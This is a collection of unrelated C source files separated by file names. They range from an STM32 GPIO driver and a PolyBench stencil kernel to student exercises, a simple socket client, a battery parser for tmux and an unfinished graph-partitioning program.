248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, 248,
248, 248, 248, 248, 248, 248, 248, 40, 136, 24};
|
the_stack_data/121739.c
|
/*P12.23 Program to understand the use of feof() and ferror()*/
#include<stdio.h>
#include<stdlib.h>
int main(void)
{
FILE *fptr;
int ch;
if((fptr=fopen("myfile","r"))==NULL)
{
printf("File doesn't exist\n");
exit(1);
}
while((ch=getc(fptr))!=EOF)
printf("%c",ch);
if(feof(fptr))
printf("End of file\n");
if(ferror(fptr))
printf("Error\n");
fclose(fptr);
return 0;
}
|
the_stack_data/184518305.c
|
/**
******************************************************************************
* @file stm32h7xx_ll_gpio.c
* @author MCD Application Team
* @brief GPIO LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32h7xx_ll_gpio.h"
#include "stm32h7xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32H7xx_LL_Driver
* @{
*/
#if defined (GPIOA) || defined (GPIOB) || defined (GPIOC) || defined (GPIOD) || defined (GPIOE) || defined (GPIOF) || defined (GPIOG) || defined (GPIOH) || defined (GPIOI) || defined (GPIOJ) || defined (GPIOK)
/** @addtogroup GPIO_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup GPIO_LL_Private_Macros
* @{
*/
#define IS_LL_GPIO_PIN(__VALUE__) (((0x00000000U) < (__VALUE__)) && ((__VALUE__) <= (LL_GPIO_PIN_ALL)))
#define IS_LL_GPIO_MODE(__VALUE__) (((__VALUE__) == LL_GPIO_MODE_INPUT) ||\
((__VALUE__) == LL_GPIO_MODE_OUTPUT) ||\
((__VALUE__) == LL_GPIO_MODE_ALTERNATE) ||\
((__VALUE__) == LL_GPIO_MODE_ANALOG))
#define IS_LL_GPIO_OUTPUT_TYPE(__VALUE__) (((__VALUE__) == LL_GPIO_OUTPUT_PUSHPULL) ||\
((__VALUE__) == LL_GPIO_OUTPUT_OPENDRAIN))
#define IS_LL_GPIO_SPEED(__VALUE__) (((__VALUE__) == LL_GPIO_SPEED_FREQ_LOW) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_MEDIUM) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_HIGH) ||\
((__VALUE__) == LL_GPIO_SPEED_FREQ_VERY_HIGH))
#define IS_LL_GPIO_PULL(__VALUE__) (((__VALUE__) == LL_GPIO_PULL_NO) ||\
((__VALUE__) == LL_GPIO_PULL_UP) ||\
((__VALUE__) == LL_GPIO_PULL_DOWN))
#define IS_LL_GPIO_ALTERNATE(__VALUE__) (((__VALUE__) == LL_GPIO_AF_0 ) ||\
((__VALUE__) == LL_GPIO_AF_1 ) ||\
((__VALUE__) == LL_GPIO_AF_2 ) ||\
((__VALUE__) == LL_GPIO_AF_3 ) ||\
((__VALUE__) == LL_GPIO_AF_4 ) ||\
((__VALUE__) == LL_GPIO_AF_5 ) ||\
((__VALUE__) == LL_GPIO_AF_6 ) ||\
((__VALUE__) == LL_GPIO_AF_7 ) ||\
((__VALUE__) == LL_GPIO_AF_8 ) ||\
((__VALUE__) == LL_GPIO_AF_9 ) ||\
((__VALUE__) == LL_GPIO_AF_10 ) ||\
((__VALUE__) == LL_GPIO_AF_11 ) ||\
((__VALUE__) == LL_GPIO_AF_12 ) ||\
((__VALUE__) == LL_GPIO_AF_13 ) ||\
((__VALUE__) == LL_GPIO_AF_14 ) ||\
((__VALUE__) == LL_GPIO_AF_15 ))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup GPIO_LL_Exported_Functions
* @{
*/
/** @addtogroup GPIO_LL_EF_Init
* @{
*/
/**
* @brief De-initialize GPIO registers (Registers restored to their default values).
* @param GPIOx GPIO Port
* @retval An ErrorStatus enumeration value:
* - SUCCESS: GPIO registers are de-initialized
* - ERROR: Wrong GPIO Port
*/
ErrorStatus LL_GPIO_DeInit(GPIO_TypeDef *GPIOx)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_GPIO_ALL_INSTANCE(GPIOx));
/* Force and Release reset on clock of GPIOx Port */
if (GPIOx == GPIOA)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOA);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOA);
}
else if (GPIOx == GPIOB)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOB);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOB);
}
else if (GPIOx == GPIOC)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOC);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOC);
}
#if defined(GPIOD)
else if (GPIOx == GPIOD)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOD);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOD);
}
#endif /* GPIOD */
#if defined(GPIOE)
else if (GPIOx == GPIOE)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOE);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOE);
}
#endif /* GPIOE */
#if defined(GPIOF)
else if (GPIOx == GPIOF)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOF);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOF);
}
#endif /* GPIOF */
#if defined(GPIOG)
else if (GPIOx == GPIOG)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOG);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOG);
}
#endif /* GPIOG */
#if defined(GPIOH)
else if (GPIOx == GPIOH)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOH);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOH);
}
#endif /* GPIOH */
#if defined(GPIOI)
else if (GPIOx == GPIOI)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOI);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOI);
}
#endif /* GPIOI */
#if defined(GPIOJ)
else if (GPIOx == GPIOJ)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOJ);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOJ);
}
#endif /* GPIOJ */
#if defined(GPIOK)
else if (GPIOx == GPIOK)
{
LL_AHB4_GRP1_ForceReset(LL_AHB4_GRP1_PERIPH_GPIOK);
LL_AHB4_GRP1_ReleaseReset(LL_AHB4_GRP1_PERIPH_GPIOK);
}
#endif /* GPIOK */
else
{
status = ERROR;
}
return (status);
}
/**
* @brief Initialize GPIO registers according to the specified parameters in GPIO_InitStruct.
* @param GPIOx GPIO Port
* @param GPIO_InitStruct pointer to a @ref LL_GPIO_InitTypeDef structure
* that contains the configuration information for the specified GPIO peripheral.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: GPIO registers are initialized according to GPIO_InitStruct content
* - ERROR: Not applicable
*/
ErrorStatus LL_GPIO_Init(GPIO_TypeDef *GPIOx, LL_GPIO_InitTypeDef *GPIO_InitStruct)
{
uint32_t pinpos, currentpin;
/* Check the parameters */
assert_param(IS_GPIO_ALL_INSTANCE(GPIOx));
assert_param(IS_LL_GPIO_PIN(GPIO_InitStruct->Pin));
assert_param(IS_LL_GPIO_MODE(GPIO_InitStruct->Mode));
assert_param(IS_LL_GPIO_PULL(GPIO_InitStruct->Pull));
/* ------------------------- Configure the port pins ---------------- */
/* Initialize pinpos on first pin set */
pinpos = POSITION_VAL(GPIO_InitStruct->Pin);
/* Configure the port pins */
while (((GPIO_InitStruct->Pin) >> pinpos) != 0x00000000U)
{
/* Get current io position */
currentpin = (GPIO_InitStruct->Pin) & (0x00000001UL << pinpos);
if (currentpin != 0x00000000U)
{
/* Pin Mode configuration */
LL_GPIO_SetPinMode(GPIOx, currentpin, GPIO_InitStruct->Mode);
if ((GPIO_InitStruct->Mode == LL_GPIO_MODE_OUTPUT) || (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE))
{
/* Check Speed mode parameters */
assert_param(IS_LL_GPIO_SPEED(GPIO_InitStruct->Speed));
/* Speed mode configuration */
LL_GPIO_SetPinSpeed(GPIOx, currentpin, GPIO_InitStruct->Speed);
}
/* Pull-up Pull down resistor configuration*/
LL_GPIO_SetPinPull(GPIOx, currentpin, GPIO_InitStruct->Pull);
if (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE)
{
/* Check Alternate parameter */
assert_param(IS_LL_GPIO_ALTERNATE(GPIO_InitStruct->Alternate));
/* Speed mode configuration */
if (currentpin < LL_GPIO_PIN_8)
{
LL_GPIO_SetAFPin_0_7(GPIOx, currentpin, GPIO_InitStruct->Alternate);
}
else
{
LL_GPIO_SetAFPin_8_15(GPIOx, currentpin, GPIO_InitStruct->Alternate);
}
}
}
pinpos++;
}
if ((GPIO_InitStruct->Mode == LL_GPIO_MODE_OUTPUT) || (GPIO_InitStruct->Mode == LL_GPIO_MODE_ALTERNATE))
{
/* Check Output mode parameters */
assert_param(IS_LL_GPIO_OUTPUT_TYPE(GPIO_InitStruct->OutputType));
/* Output mode configuration*/
LL_GPIO_SetPinOutputType(GPIOx, GPIO_InitStruct->Pin, GPIO_InitStruct->OutputType);
}
return (SUCCESS);
}
/**
* @brief Set each @ref LL_GPIO_InitTypeDef field to default value.
* @param GPIO_InitStruct pointer to a @ref LL_GPIO_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_GPIO_StructInit(LL_GPIO_InitTypeDef *GPIO_InitStruct)
{
/* Reset GPIO init structure parameters values */
GPIO_InitStruct->Pin = LL_GPIO_PIN_ALL;
GPIO_InitStruct->Mode = LL_GPIO_MODE_ANALOG;
GPIO_InitStruct->Speed = LL_GPIO_SPEED_FREQ_LOW;
GPIO_InitStruct->OutputType = LL_GPIO_OUTPUT_PUSHPULL;
GPIO_InitStruct->Pull = LL_GPIO_PULL_NO;
GPIO_InitStruct->Alternate = LL_GPIO_AF_0;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* defined (GPIOA) || defined (GPIOB) || defined (GPIOC) || defined (GPIOD) || defined (GPIOE) || defined (GPIOF) || defined (GPIOG) || defined (GPIOH) || defined (GPIOI) || defined (GPIOJ) || defined (GPIOK) */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/540553.c
|
// this source is derived from CHILL AST originally from file '/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/polybench/polybench-code/stencils/fdtd-2d/kernel.c' as parsed by frontend compiler rose
void kernel_fdtd_2d(int tmax, int nx, int ny, double ex[2000 + 0][2600 + 0], double ey[2000 + 0][2600 + 0], double hz[2000 + 0][2600 + 0], double _fict_[1000 + 0]) {
int t10;
int t8;
int t6;
int t4;
int t2;
for (t2 = 0; t2 <= tmax - 1; t2 += 1) {
for (t4 = 0; t4 <= ny - 1; t4 += 1)
ey[0][t4] = _fict_[t2];
for (t4 = 1; t4 <= nx - 1; t4 += 16)
for (t6 = t4; t6 <= (t4 + 15 < nx - 1 ? t4 + 15 : nx - 1); t6 += 1)
for (t8 = 0; t8 <= ny - 1; t8 += 128)
for (t10 = t8; t10 <= (ny - 1 < t8 + 127 ? ny - 1 : t8 + 127); t10 += 1)
ey[t6][t10] = ey[t6][t10] - 0.5 * (hz[t6][t10] - hz[t6 - 1][t10]);
for (t4 = 0; t4 <= nx - 1; t4 += 1)
for (t6 = 1; t6 <= ny - 1; t6 += 1)
ex[t4][t6] = ex[t4][t6] - 0.5 * (hz[t4][t6] - hz[t4][t6 - 1]);
for (t4 = 0; t4 <= nx - 2; t4 += 16)
for (t6 = t4; t6 <= (t4 + 15 < nx - 2 ? t4 + 15 : nx - 2); t6 += 1)
for (t8 = 0; t8 <= ny - 2; t8 += 128)
for (t10 = t8; t10 <= (ny - 2 < t8 + 127 ? ny - 2 : t8 + 127); t10 += 1)
hz[t6][t10] = hz[t6][t10] - 0.69999999999999996 * (ex[t6][t10 + 1] - ex[t6][t10] + ey[t6 + 1][t10] - ey[t6][t10]);
}
}
|
the_stack_data/153267080.c
|
/*
* Copyright 2015 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#ifdef DRV_MARVELL
#include "drv_priv.h"
#include "helpers.h"
#include "util.h"
static const uint32_t render_target_formats[] = { DRM_FORMAT_ARGB8888, DRM_FORMAT_XRGB8888 };
static int marvell_init(struct driver *drv)
{
drv_add_combinations(drv, render_target_formats, ARRAY_SIZE(render_target_formats),
&LINEAR_METADATA, BO_USE_RENDER_MASK);
return drv_add_linear_combinations(drv, render_target_formats,
ARRAY_SIZE(render_target_formats));
}
const struct backend backend_marvell = {
.name = "marvell",
.init = marvell_init,
.bo_create = drv_dumb_bo_create,
.bo_destroy = drv_dumb_bo_destroy,
.bo_import = drv_prime_bo_import,
.bo_map = drv_dumb_bo_map,
.bo_unmap = drv_bo_munmap,
};
#endif
|
the_stack_data/85411.c
|
#include <stdio.h>
int main() {
printf ("%s\n", "Hello world (Ansi C)");
return(0);
}
|
the_stack_data/43599.c
|
//
// APS105 Lab 9
//
// This is a program written to maintain a personal music library,
// using a linked list to hold the songs in the library.
//
// Author: <Your Name Goes Here>
// Student Number: <Your Student Number Goes Here>
//
#include <ctype.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// A node in the linked list
// Each string in the node is declared as a character pointer variable,
// so they need to be dynamically allocated using the malloc() function,
// and deallocated using the free() function after use.
typedef struct node {
char *artist;
char *songName;
char *genre;
struct node *next;
} Node;
// Declarations of linked list functions
//
// DECLARE YOUR LINKED-LIST FUNCTIONS HERE
//
// Declarations of support functions
// See below the main function for descriptions of what these functions do
void inputStringFromUser(char *prompt, char *s, int arraySize);
void songNameDuplicate(char *songName);
void songNameFound(char *songName);
void songNameNotFound(char *songName);
void songNameDeleted(char *songName);
void artistFound(char *artist);
void artistNotFound(char *artist);
void printMusicLibraryEmpty(void);
void printMusicLibraryTitle(void);
const int MAX_LENGTH = 1024;
int main(void) {
// Declare the head of the linked list.
// ADD YOUR STATEMENT(S) HERE
// Announce the start of the program
printf("Personal Music Library.\n\n");
printf("%s", "Commands are I (insert), D (delete), S (search by song name),\n"
"P (print), Q (quit).\n");
char response;
char input[MAX_LENGTH + 1];
do {
inputStringFromUser("\nCommand", input, MAX_LENGTH);
// Response is the first character entered by user.
// Convert to uppercase to simplify later comparisons.
response = toupper(input[0]);
if (response == 'I') {
// Insert a song into the linked list.
// Maintain the list in alphabetical order by song name.
// ADD STATEMENT(S) HERE
// USE THE FOLLOWING STRINGS WHEN PROMPTING FOR DATA:
// char *promptName = "Song name" ;
// char *promptArtist = "Artist" ;
// char *promptGenre = "Genre" ;
} else if (response == 'D') {
// Delete a song from the list.
char *prompt = "\nEnter the name of the song to be deleted";
// ADD STATEMENT(S) HERE
} else if (response == 'S') {
// Search for a song by its name.
char *prompt = "\nEnter the name of the song to search for";
// ADD STATEMENT(S) HERE
} else if (response == 'P') {
// Print the music library.
// ADD STATEMENT(S) HERE
} else if (response == 'Q') {
; // do nothing, we'll catch this below
} else {
// do this if no command matched ...
printf("\nInvalid command.\n");
}
} while (response != 'Q');
// Delete the entire linked list.
// ADD STATEMENT(S) HERE
// Print the linked list to confirm deletion.
// ADD STATEMENT(S) HERE
return 0;
}
// Support Function Definitions
// Prompt the user for a string safely, without buffer overflow
void inputStringFromUser(char *prompt, char *s, int maxStrLength) {
int i = 0;
char c;
printf("%s --> ", prompt);
while (i < maxStrLength && (c = getchar()) != '\n')
s[i++] = c;
s[i] = '\0';
}
// Function to call when the user is trying to insert a song name
// that is already in the personal music library.
void songNameDuplicate(char *songName) {
printf("\nA song with the name '%s' is already in the music library.\n"
"No new song entered.\n",
songName);
}
// Function to call when a song name was found in the personal music library.
void songNameFound(char *songName) {
printf("\nThe song name '%s' was found in the music library.\n", songName);
}
// Function to call when a song name was not found in the personal music
// library.
void songNameNotFound(char *songName) {
printf("\nThe song name '%s' was not found in the music library.\n",
songName);
}
// Function to call when a song name that is to be deleted
// was found in the personal music library.
void songNameDeleted(char *songName) {
printf("\nDeleting a song with name '%s' from the music library.\n",
songName);
}
// Function to call when printing an empty music library.
void printMusicLibraryEmpty(void) {
printf("\nThe music library is empty.\n");
}
// Function to call to print a title when the entire music library is printed.
void printMusicLibraryTitle(void) {
printf("\nMy Personal Music Library: \n");
}
// Add your functions below this line.
// ADD STATEMENT(S) HERE
|
the_stack_data/42611.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main
( int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "need filename");
exit(1);
}
FILE *fp =fopen( argv[1], "r");
if (fp == NULL) {
fprintf(stderr, "open %s failed", argv[1]);
exit(1);
}
char line[100];
memset( line, 0, sizeof(line));
int forward = 0;
int depth = 0;
int aim = 0;
int depth2 = 0;
while (NULL != fgets( line, 100, fp)) {
int value;
char word[20];
if (2 != sscanf(line, "%20s %d", word, &value)) {
fprintf(stderr, "scan failed\n");
exit(1);
}
if (strcmp( word, "forward") == 0) {
forward += value;
depth2 += aim * value;
} else if (strcmp( word, "up") == 0) {
depth -= value;
aim -= value;
} else if (strcmp( word, "down") == 0) {
depth += value;
aim += value;
} else {
fprintf(stderr, "word not found %s\n", word);
exit(1);
}
}
printf("part1 forward: %d depth: %d, check: %d\n", forward, depth, forward*depth);
printf("part2 forward: %d depth: %d, check: %d\n", forward, depth2, forward*depth2);
}
|
the_stack_data/65157.c
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
double getRandomNumber(double lower_limit, double upper_limit){
double num = rand();
double fraction = (upper_limit-lower_limit) / RAND_MAX;
num = num * fraction + lower_limit;
return num;
}
int main(){
srand(time(NULL));
printf("%.2lf\n",getRandomNumber(-7,7));
return 0;
}
|
the_stack_data/84799.c
|
/* Parses acpi's output returns the battery percentages with tmux formatting */
/* tmux uses the #[fg=<color>] in stdout to set text color instead of ASCII codes */
#include <stdio.h> //printf
#include <stdlib.h> //atoi
#define SIZE 100 //Fixed array sizes
#define MAX 5 //Max ammount of batteries to display
#define LOW 10 //Battery percentage that is considered low
#define MED 40 //Battery percentage that is considered medium
int main(){
size_t i, l=0, nmembr=0;
char bat[SIZE] = {'\0'};
char inpt[SIZE] = {'\0'};
int batlvl[MAX] = {0};
for(i=0; i < SIZE; i++){ //get the acpi input
inpt[i] = getc(stdin);
if(inpt[i] == EOF || inpt[i] == '\0') break;
}
for(i=0; i < SIZE; i++){ //tokenize into an int array (batlvl)
if(inpt[i] == '%'){
for( ; inpt[i] != ' ' && i > 0; i--) NULL; //go back to the beginning of the word
for( ++i; inpt[i] != '%' && i < SIZE; i++){ //copy that word into our array
bat[l] = inpt[i];
l++;
}
batlvl[nmembr] = atoi(bat); //add the number to a number array
nmembr++;
l=0;
bat[0] = '\0'; //overwrite the string
}
}
for(i=0; i < nmembr; i++){ //display the data
if(batlvl[i] > 100) batlvl[i] /= 10; //fixes extra zero if bat0 is at 100%
if(batlvl[i] <= LOW && i+1 != nmembr) //if the battery is low and theres another battery
printf("%d%s ", batlvl[i], "%!");
else if(batlvl[i] <= LOW && i+1 == nmembr) //if the battery is low
printf("%d%s", batlvl[i], "%!");
else if(batlvl[i] <= MED && i+1 != nmembr) //if the battery is medium and theres another battery
printf("%d%s ", batlvl[i], "%");
else if(batlvl[i] <= MED && i+1 == nmembr) //if the battery is medium
printf("%d%s", batlvl[i], "%");
else if(i+1 == nmembr)
printf("%d%s", batlvl[i], "%");
else
printf("%d%s ", batlvl[i], "%");
}
return 0;
}
|
the_stack_data/1022148.c
|
#include<stdio.h>
#include<string.h> //strlen
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr
int main(int argc , char *argv[])
{
int socket_desc;
struct sockaddr_in server;
char *message , server_reply[2000];
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
server.sin_addr.s_addr = inet_addr("192.168.122.1");
server.sin_family = AF_INET;
server.sin_port = htons(5000);
//Connect to remote server
if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected\n");
//Send some data
message = "GET / HTTP/1.1\r\n\r\n";
if( send(socket_desc , message , strlen(message) , 0) < 0)
{
puts("Send failed");
return 1;
}
puts("Data Send\n");
//Receive a reply from the server
if( recv(socket_desc, server_reply , 2000 , 0) < 0)
{
puts("recv failed");
}
puts("Reply received\n");
puts(server_reply);
return 0;
}
|
the_stack_data/68887059.c
|
// RUN: %clang_cc1 -fsyntax-only -verify %s
// expected-no-diagnostics
// Test for absence of crash reported in PR 2923:
//
// http://llvm.org/bugs/show_bug.cgi?id=2923
//
// Previously we had a crash when deallocating the FunctionDecl for 'bar'
// because FunctionDecl::getNumParams() just used the type of foo to determine
// the number of parameters it has. In the case of 'bar' there are no
// ParmVarDecls.
int foo(int x, int y) { return x + y; }
extern typeof(foo) bar;
|
the_stack_data/333470.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct node{
int cell;
struct node *next;
}node;
void push_node(node **head,int cell){
node *new_node = malloc(sizeof(node));
if(cell == 0){
new_node->cell = 0;
new_node->next = NULL;
*head = new_node;
}else if (new_node != NULL){
new_node->cell = cell;
new_node->next = *head;
*head = new_node;
}
}
int cut_size(node **net,int *cell_G,int net_len){
int cutsize = 0;
for(int i=0;i<net_len;i++){
node *now = net[i];
int G1_num = 0, net_cell_num = 0,G2_num = 0;
do{
net_cell_num++;
if(cell_G[(now->cell)-1] == 0){
G1_num++;
}else{
G2_num++;
}
now = now->next;
}while(now->cell != 0);
if(G1_num != 0 && G2_num != 0 ) cutsize++;
}
return cutsize;
}
// row is not mandatory
void quicksort(int arr[][2],int left,int right){
if(left < right){
int s = arr[(left+right)/2][1];
int i = left - 1;
int j = right + 1;
while(1){
while(arr[++i][1] < s);
while(arr[--j][1] > s);
if(i >= j) break;
// swap
int temp0 = arr[i][0];
int temp1 = arr[i][1];
arr[i][0] = arr[j][0];
arr[i][1] = arr[j][1];
arr[j][0] = temp0;
arr[j][1] = temp1;
}
quicksort(arr,left,i-1);
quicksort(arr,j+1,right);
}
}
void write_file(char *file,int cutsize,int *G1,int G1_len,int *G2,int G2_len){
printf("%s\n",file);
FILE *of = fopen(file,"w");
fprintf(of,"Cutsize = %d\n",cutsize);
fprintf(of,"G1 %d\n",G1_len);
for(int i=0;i<G1_len;i++){
fprintf(of,"c%d ",G1[i]);
}
fprintf(of,";\n");
fprintf(of,"G2 %d\n",G2_len);
for(int i=0;i<G2_len;i++){
fprintf(of,"c%d ",G2[i]);
}
fprintf(of,";\n");
fclose(of);
}
int main(int argc,char *argv[]){
// read file
printf("%s\n",argv[1]);
FILE *f = fopen(argv[1], "r");
fseek(f, 0, SEEK_END);
long fsize = ftell(f);
fseek(f, 0, SEEK_SET); /* same as rewind(f); */
printf("%ld\n",fsize);
char *string = malloc(fsize + 1);
fread(string, fsize, 1, f);
fclose(f);
string[fsize] = 0;
// net with cell
node **net = 0;
net = (node **)malloc(sizeof(node*)*1);
push_node(&net[0],0);
int net_len = 1; // current net len
int current_net = 0; // current net idx
// // cell with net
node **cell = 0;
cell = (node **)malloc(sizeof(node*)*1);
push_node(&cell[0],0);
int pre_cell = 0;
node **cell_pins = 0;
cell_pins = (node **)malloc(sizeof(node*)*1);
push_node(&cell_pins[0],0);
// // spilt char and net
int c_st = 0; // one cell start idx
int c_end = 0; // one cell end idx
int dif = 0; // one cell's len
int is_cell = 0; // is new cell
int is_net = 0; // is new net
int max_cell_num = 0;
int first_cell = 1;
for(int i=0;i<fsize;i++){
if(string[i] == ';'){
is_net = 1;
}else if(string[i] == 'c'){
c_st = i;
is_cell = 1;
}else if(string[i] == ' ' && is_cell == 1){
// one cell end is ' '
// -------- new cell ---------
is_cell = 0;
c_end = i;
dif = c_end - c_st;
char tmp[dif]; // create a string space
memcpy(tmp,&string[c_st+1],dif);
tmp[dif] = '\0'; // end notation
int current_cell = atoi(tmp);
// -------- new cell ---------
// --------- cell connect ----------
if(current_cell>max_cell_num){
int pre_cell_num = max_cell_num;
max_cell_num = current_cell;
cell = (node **)realloc(cell,sizeof(node*)*(max_cell_num));
cell_pins = (node **)realloc(cell_pins,sizeof(node*)*(max_cell_num));
for(int cell_num=pre_cell_num;cell_num<max_cell_num;cell_num++){
// printf("cell num %d\n",cell_num);
push_node(&cell[cell_num],0);
push_node(&cell_pins[cell_num],0);
}
}
if(is_net == 1 || first_cell == 1){
pre_cell = current_cell;
first_cell = 0;
}else{
push_node(&cell[current_cell-1],pre_cell);
cell_pins[current_cell-1]->cell += 1;
push_node(&cell[pre_cell-1],current_cell);
cell_pins[pre_cell-1]->cell += 1;
pre_cell = current_cell;
}
// --------- cell connect ----------
// ---------- nets ----------
if(is_net == 1){
is_net = 0;
// creat new net
net = (node **)realloc(net,sizeof(node*)*(net_len+1));
net_len++;
current_net++;
push_node(&net[current_net],0);
}
// // set new node (cell)
push_node(&net[current_net],current_cell);
}
}
// // partition
int cell_G[max_cell_num];
int mid = max_cell_num / 2;
int G1_len = mid,G2_len = mid;
int *G1 = 0;
int unlock[max_cell_num];
memset(unlock, 0, max_cell_num*sizeof(int));
// if cell num can't divide 2
if(max_cell_num % 2 != 0){
G1 = (int *)malloc(sizeof(int)*(mid+1));
G1[mid] = mid + 1;
G1_len++;
}else{
G1 = (int *)malloc(sizeof(int)*mid);
}
for(int i=0;i<G1_len;i++) cell_G[i] = 0;// G1 0
int *G2 = 0;
G2 = (int *)malloc(sizeof(int)*mid);
for(int i=0;i<G2_len;i++) cell_G[G1_len + i] = 1; // G2 1
// G1: 1 2 3 4 ...
// G2: 8 7 6 5 ...
for(int i=0;i<mid;i++){
G1[i] = i + 1;
G2[i] = max_cell_num - i;
}
//---------- gain --------
int gain[max_cell_num];
memset(gain, 0, max_cell_num*sizeof(int));
for(int i=0;i<max_cell_num;i++){
node *pin_node = cell[i];
while(pin_node->cell != 0){
if(cell_G[pin_node->cell-1] == cell_G[i] ) gain[i]--;
if(cell_G[pin_node->cell-1] != cell_G[i] ) gain[i]++;
pin_node = pin_node->next;
}
}
// for(int i=0;i<max_cell_num;i++) printf("%d ",gain[i]);
int G1_max_gain_cell = 0,G1_max_gain = -1,G2_max_gain_cell = 0,G2_max_gain = -1;
// // ------------ find max gain -----------
for(int i=0;i<max_cell_num;i++){
if(gain[i] >= G1_max_gain && cell_G[i] == 0){
G1_max_gain_cell = i+1;
G1_max_gain = gain[i];
unlock[i] = 1;
}
if(gain[i] >= G2_max_gain && cell_G[i] == 1){
G2_max_gain_cell = i+1;
G2_max_gain = gain[i];
unlock[i] = 1;
}
}
// printf("ttt %d\n",cell_G[G2_max_gain_cell-1]);
// for(int i=0;i<G1_len;i++) printf("G1 %d ",G1[i]);
// for(int i=0;i<G2_len;i++) printf("G2 %d ",G2[i]);
// for(int i=0;i<max_cell_num;i++){
// node *pin = cell[i];
// printf("cell %d : ",i+1);
// while (pin->cell != 0){
// printf(" %d ",pin->cell);
// pin = pin->next;
// }
// printf("\n");
// }
// for(int i=0;i<100;i++){
G1[G1_max_gain_cell-1] = G2_max_gain_cell;
G2[max_cell_num-G2_max_gain_cell] = G1_max_gain_cell;
cell_G[G1_max_gain_cell-1] ^= 1;
// // printf("ttt %d\n",cell_G[G2_max_gain_cell-1]);
cell_G[G2_max_gain_cell-1] ^= 1;
// for(int i=0;i<max_cell_num;i++) printf("G %d \n",gain[i]);
// // ---------- update gain ------------
node *pin_node = cell[G1_max_gain_cell-1];
while(pin_node->cell != 0){
if(cell_G[pin_node->cell-1] == 0) gain[pin_node->cell-1] += 2;
if(cell_G[pin_node->cell-1] == 1) gain[pin_node->cell-1] -= 2;
pin_node = pin_node->next;
}
node *pin_node2 = cell[G2_max_gain_cell-1];
while(pin_node2->cell != 0){
if(cell_G[pin_node2->cell-1] == 1) gain[pin_node2->cell-1] += 2;
if(cell_G[pin_node2->cell-1] == 0) gain[pin_node2->cell-1] -= 2;
pin_node2 = pin_node2->next;
}
G1_max_gain_cell = 0,G1_max_gain = -1,G2_max_gain_cell = 0,G2_max_gain = -1;
// // ------------ find max gain -----------
for(int i=0;i<max_cell_num;i++){
if(gain[i] >= G1_max_gain && cell_G[i] == 0 && unlock[i] == 0){
G1_max_gain_cell = i+1;
G1_max_gain = gain[i];
unlock[i] = 1;
}
if(gain[i] >= G2_max_gain && cell_G[i] == 1 && unlock[i] == 0){
G2_max_gain_cell = i+1;
G2_max_gain = gain[i];
unlock[i] = 1;
}
}
